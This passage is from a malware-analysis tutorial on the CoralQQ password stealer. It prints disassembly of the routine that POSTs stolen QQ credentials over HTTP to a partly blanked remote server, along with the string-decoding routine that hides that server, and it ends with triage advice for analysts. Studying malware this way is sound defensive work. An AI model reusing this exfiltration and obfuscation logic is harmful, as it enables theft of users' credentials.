100019B9    push    offset aServ    ; "&Serv="
100019BE    lea     edx, [ebp+url_parameters]
100019C4    push    edx             ; char *
100019C5    call    strcat
100019CA    add     esp, 8
100019CD    push    offset qq_server ; char *
100019D2    lea     eax, [ebp+url_parameters]
100019D8    push    eax             ; char *
100019D9    call    build_url
100019DE    add     esp, 8
100019E1    push    offset aRole    ; "&Role="
100019E6    lea     ecx, [ebp+url_parameters]
100019EC    push    ecx             ; char *
100019ED    call    strcat
100019F2    add     esp, 8
100019F5    push    offset qq_role  ; char *
100019FA    lea     edx, [ebp+url_parameters]
10001A00    push    edx             ; char *
10001A01    call    build_url
10001A06    add     esp, 8
10001A09    push    offset aEdit    ; "&Edit="
10001A0E    lea     eax, [ebp+url_parameters]
10001A14    push    eax             ; char *
10001A15    call    strcat
10001A1A    add     esp, 8
10001A1D    push    offset qq_edit  ; char *
10001A22    lea     ecx, [ebp+url_parameters]
10001A28    push    ecx             ; char *
10001A29    call    build_url
10001A2E    add     esp, 8
10001A31    lea     edx, [ebp+url_parameters]
10001A37    push    edx             ; char *
10001A38    call    strlen
10001A3D    add     esp, 4
10001A40    push    eax             ; dwOptionalLength
10001A41    lea     eax, [ebp+url_parameters]
10001A47    push    eax             ; lpOptional
10001A48    mov     ecx, pSharedMap
10001A4E    add     ecx, 54h
10001A51    push    ecx             ; data
10001A52    call    decode_http_info
                ; extracts some url parts from shared map
10001A57    add     esp, 4
10001A5A    push    eax             ; lpszObjectName
10001A5B    mov     edx, pSharedMap
10001A61    add     edx, 4
10001A64    push    edx             ; data
10001A65    call    decode_http_info
                    ; extracts server name from shared map
```

```
10001A6A                add     esp, 4
10001A6D                push    eax             ; lpszServerName
10001A6E                call    send_qq_info_to_server
10001A73                add     esp, 10h
10001A76                mov     bQQHookCannotbeExec, 1
10001A80                pop     edi
10001A81                mov     esp, ebp
10001A83                pop     ebp
10001A84                retn
10001A84 timer_func      endp
```

The first thing that function does is to kill the timer that actually triggered it! So the timer was actually a simple "obfuscated" way to call it, instead of having a classic function call.

The data string commentaries are quite explicit, and our guess was correct. Several pieces of information such as the user name, password or server are collected and concatenated to form what looks like a URL with GET parameters. We then have two calls to decode_http_info(). Imagine there was no name, let's skip it for the moment, and examine the next function send_qq_info_to_server().

```
100017D8 ; int __cdecl send_qq_info_to_server
(LPCSTR lpszServerName,LPCSTR lpszObjectName,LPVOID lpOptional,DWORD
dwOptionalLength)
100017D8
100017D8 send_qq_info_to_server proc near
100017D8
100017D8 lpszAcceptTypes = dword ptr -14h
100017D8 var_10          = dword ptr -10h
100017D8 hRequest        = dword ptr -0Ch
100017D8 hInternet       = dword ptr -8
100017D8 hConnect        = dword ptr -4
100017D8 lpszServerName  = dword ptr  8
100017D8 lpszObjectName  = dword ptr  0Ch
100017D8 lpOptional      = dword ptr  10h
100017D8 dwOptionalLength= dword ptr  14h
100017D8
100017D8                push    ebp
100017D9                mov     ebp, esp
100017DB                sub     esp, 14h
100017DE                push    0               ; dwFlags
100017E0                push    0               ; lpszProxyBypass
100017E2                push    0               ; lpszProxy
100017E4                push    0               ; dwAccessType
100017E6                push    offset szAgent  ; "SPY KING"
100017EB                call    ds:InternetOpenA
100017F1                mov     [ebp+hInternet], eax
100017F4                cmp     [ebp+hInternet], 0
100017F8                jnz     short loc_10001801
100017FA                xor     eax, eax
100017FC                jmp     loc_100018C5
10001801 ; ----------------------------------------------------------
10001801
10001801 loc_10001801:
10001801                push    0               ; dwContext
10001803                push    0               ; dwFlags
10001805                push    3               ; dwService
10001807                push    0               ; lpszPassword
10001809                push    0               ; lpszUserName
1000180B                push    50h             ; nServerPort
1000180D                mov     eax, [ebp+lpszServerName]
10001810                push    eax             ; lpszServerName
10001811                mov     ecx, [ebp+hInternet]
10001814                push    ecx             ; hInternet
10001815                call    ds:InternetConnectA
```

```
1000181B                 mov     [ebp+hConnect], eax
1000181E                 cmp     [ebp+hConnect], 0
10001822                 jnz     short loc_10001835
10001824                 mov     edx, [ebp+hInternet]
10001827                 push    edx             ; hInternet
10001828                 call    ds:InternetCloseHandle
1000182E                 xor     eax, eax
10001830                 jmp     loc_100018C5
10001835 ; ---------------------------------------------------------
10001835
10001835 loc_10001835:
10001835                 mov     [ebp+lpszAcceptTypes],
                               offset aAccept ; "Accept: */*"
1000183C                 mov     [ebp+var_10], 0
10001843                 push    0               ; dwContext
10001845                 push    80000000h       ; dwFlags
1000184A                 lea     eax, [ebp+lpszAcceptTypes]
1000184D                 push    eax             ; lplpszAcceptTypes
1000184E                 push    0               ; lpszReferrer
10001850                 push    offset szVersion ; "HTTP/1.0"
10001855                 mov     ecx, [ebp+lpszObjectName]
10001858                 push    ecx             ; lpszObjectName
10001859                 push    offset szVerb   ; "POST"
1000185E                 mov     edx, [ebp+hConnect]
10001861                 push    edx             ; hConnect
10001862                 call    ds:HttpOpenRequestA
10001868                 mov     [ebp+hRequest], eax
1000186B                 cmp     [ebp+hRequest], 0
1000186F                 jnz     short loc_10001889
10001871                 mov     eax, [ebp+hConnect]
10001874                 push    eax             ; hInternet
10001875                 call    ds:InternetCloseHandle
1000187B                 mov     ecx, [ebp+hInternet]
1000187E                 push    ecx             ; hInternet
1000187F                 call    ds:InternetCloseHandle
10001885                 xor     eax, eax
10001887                 jmp     short loc_100018C5
10001889 ; ---------------------------------------------------------
10001889
10001889 loc_10001889:
10001889                 mov     edx, [ebp+dwOptionalLength]
1000188C                 push    edx             ; dwOptionalLength
1000188D                 mov     eax, [ebp+lpOptional]
10001890                 push    eax             ; lpOptional
10001891                 push    2Fh             ; dwHeadersLength
10001893                 push    offset szHeaders
               ; "Content-Type: application/x-www-form-ur"...
10001898                 mov     ecx, [ebp+hRequest]
1000189B                 push    ecx             ; hRequest
1000189C                 call    ds:HttpSendRequestA
100018A2                 mov     edx, [ebp+hRequest]
100018A5                 push    edx             ; hInternet
100018A6                 call    ds:InternetCloseHandle
100018AC                 mov     eax, [ebp+hConnect]
100018AF                 push    eax             ; hInternet
100018B0                 call    ds:InternetCloseHandle
100018B6                 mov     ecx, [ebp+hInternet]
100018B9                 push    ecx             ; hInternet
100018BA                 call    ds:InternetCloseHandle
100018C0                 mov     eax, 1
100018C5
100018C5 loc_100018C5:
100018C5                 mov     esp, ebp
100018C7                 pop     ebp
```

```
100018C8                  retn
100018C8 send_qq_info_to_server endp
```

This function uses the Windows high-level HTTP API set to request a fake page on an website. The collected information about QQ is posted via a POST request. The sequence of API calls is the following:

```
hInternet = InternetOpen("SPY KING", ...)
```
-> the HTTP user agent used is "SPY KING"

```
hConnect  = InternetConnect(hInternet, server_name, 80, ...)
```
-> connect to a server, port 80

```
hRequest  = HttpOpenRequest(hConnect, "POST", object_name, ...)
```
-> prepare a POST request on the URL "server_name/object_name"

```
HttpSendRequest(hRequest, "Content-Type:...", 0x2F, optional, size
(optional))
```
-> send the request

```
HttpInternetCloseHandle(..)
```
-> close everything the proper way

optional is the actual stolen data. Now the question is, what are the server name and the complete URL? Actually, we should have asked ourself this question a couple of hundreds lines before! Rememenber that every piece of data seem to be stored in plaintext; moreover, everything led us to think that the information was sent back to the author via HTTP. So how come we didn't see any URL or IP address ?

Sending the stolen data, yes but where?

Let's analyze timer_func() deeper. *lpzsServerName* and *lpszObjectName* are the first and second parameters given to send_qq_info_to_server(). Those string pointers seem to be calculated by a function, decode_http_info(), called twice in 0x10001A52 and 0x10001A65. This function takes a single parameter, a pointer to our famous shared map (the named object "RX_SHARE"). Actually, the first call is given a pointer to the shared map +0x54, the second +4. It seems to make sense since the first DWORD of the map was used to store the thread identifier of the initial process. Now, the piece of data stored from 4 to 0x104 seems encoded:

```
Offset  Data, encoded
---------------------
0x00    <Plain TID> [4 bytes]
0x04    0F0F0F05ED0E0CA6C6 ....
        00000000000000000000000000000000
        00000000000000000000000000000000
        00000000000000000000000000000000
        00000000000000000000000000000000
0x54    D8C4DEF2D4 ....
        ... D4DA5EC4E8E2  ... 0000000000
        00000000000000000000000000000000
        00000000000000000000000000000000
        00000000000000000000000000000000
```

Let's see what decode_http_info does with it:

```
100018C9 ; int __cdecl decode_http_info(char *data)
100018C9 decode_http_info proc near
100018C9
100018C9 len              = dword ptr -0Ch
100018C9 cpt              = dword ptr -8
100018C9 buffer           = dword ptr -4
```

```
100018C9 data            = dword ptr  8
100018C9
100018C9                 push    ebp
100018CA                 mov     ebp, esp
100018CC                 sub     esp, 0Ch
100018CF                 push    50h             ; size_t
100018D1                 call    malloc
100018D6                 add     esp, 4
100018D9                 mov     [ebp+buffer], eax
100018DC                 push    50h             ; size_t
100018DE                 push    0               ; int
100018E0                 mov     eax, [ebp+buffer]
100018E3                 push    eax             ; void *
100018E4                 call    memset
100018E9                 add     esp, 0Ch
100018EC                 mov     ecx, [ebp+data]
100018EF                 push    ecx             ; char *
100018F0                 call    strlen
100018F5                 add     esp, 4
100018F8                 mov     [ebp+len], eax
100018FB                 mov     [ebp+cpt], 0
10001902                 jmp     short loc_1000190D
10001904 ; ---------------------------------------------------------
10001904
10001904 loc_10001904:
10001904                 mov     edx, [ebp+cpt]
10001907                 add     edx, 1
1000190A                 mov     [ebp+cpt], edx
1000190D
1000190D loc_1000190D:
1000190D                 mov     eax, [ebp+cpt]
10001910                 cmp     eax, [ebp+len]
10001913                 jnb     short @exit
10001915                 mov     ecx, [ebp+data]
10001918                 add     ecx, [ebp+cpt]
1000191B                 xor     eax, eax
1000191D                 mov     al, [ecx]
1000191F                 cdq
10001920                 sub     eax, edx
10001922                 sar     eax, 1
10001924                 sub     eax, 1
10001927                 mov     edx, [ebp+buffer]
1000192A                 add     edx, [ebp+cpt]
1000192D                 mov     [edx], al
1000192F                 jmp     short loc_10001904
10001931 ; ---------------------------------------------------------
10001931
10001931 @exit:
10001931                 mov     eax, [ebp+buffer]
10001934                 mov     esp, ebp
10001936                 pop     ebp
10001937                 retn
10001937 decode_http_info endp
```

If this function doesn't speak to you, just look at those instructions:

```
xor     eax, eax
mov     al, [ecx]
...
sar     eax, 1
sub     eax, 1
...
mov     [edx], al
```

A character from the encoded string is stored in eax. eax is shifted one bit to the right, then decremented. The result is stored in a dynamically allocated memory chunk. You can execute this routine in a debugger, here is what you'll get (some characters of the URL have been blanked out on purpose):

```
server_name: www.god52*****

object_name: kanxin/******/******/mail.asp
```

And the mystery of the URL is solved. The algorithm was quite poor, but still sufficient to prevent an analyst to get all pieces of information from a simple look at the program's data. Even a black box analysis, when running the program, would probably not have been enough. The conditions to actually get the infostealer to work are not trivial:
- need to have the program with a proper name, as seen before (client.exe)
- need a good version of CoralQQ (not even the official QQ program)
- need to actully establish a proper connection and monitor the traffic or log the API calls

Clearly, white box analysis is a requirement when one wants to uncover all the secrets of a malicious piece of code!

Conclusion

A thing one needs to ask her/himself when analyzing a program is "What information am I looking for, what do I need to find now ?". Active reverse engineering is an efficient way to quickly find important pieces of information. So far, we mostly did passive reverse engineering, starting from the entry point and just following the code flow. The program gave us the pieces of information we needed to find, but we may have find those faster. In a situation where time actually matters - such as in the industry of malware analysis - going to the relevant program routines at once is important.

In the case of that program, the thinking could be:

- check the strings:
  * 'QQ': it may try to steal QQ's credentials
  * 'Spy', etc: confirmation of the above
  * URL parameters 'pass', 'user': those credentials may be sent via a URL
- check the imports:
  * the resource APIs: the file may be a dropper of the real malware that needs analysis
  * the shared map APIs: some vital information may be there (which was the case)
- check the dropped component:
  * the hook APIs, FindWindow API: classic combination of a hooking program
  * the high-level HTTP handling APIs: confirms our suspicion above

It's only a subset of what types of fast and profitable actions we may start an analysis with.

This paper introduced some classic techniques used by malware authors, some of those being:
- storing programs into resources
- sharing memory between processes the easy way
- using Windows message hooks and API hooks to insert spys into programs
- communicating with a remote server without revealing every little piece of information at a first glance

Hopefully, a next paper will review some of those techniques and present some new ones. Meanwhile, it was a pleasure for me to talk about this CoralQQ password stealer program!

NF - first_name d-o-t last_name a-t g-m-a-i-l d-o-t c_o_m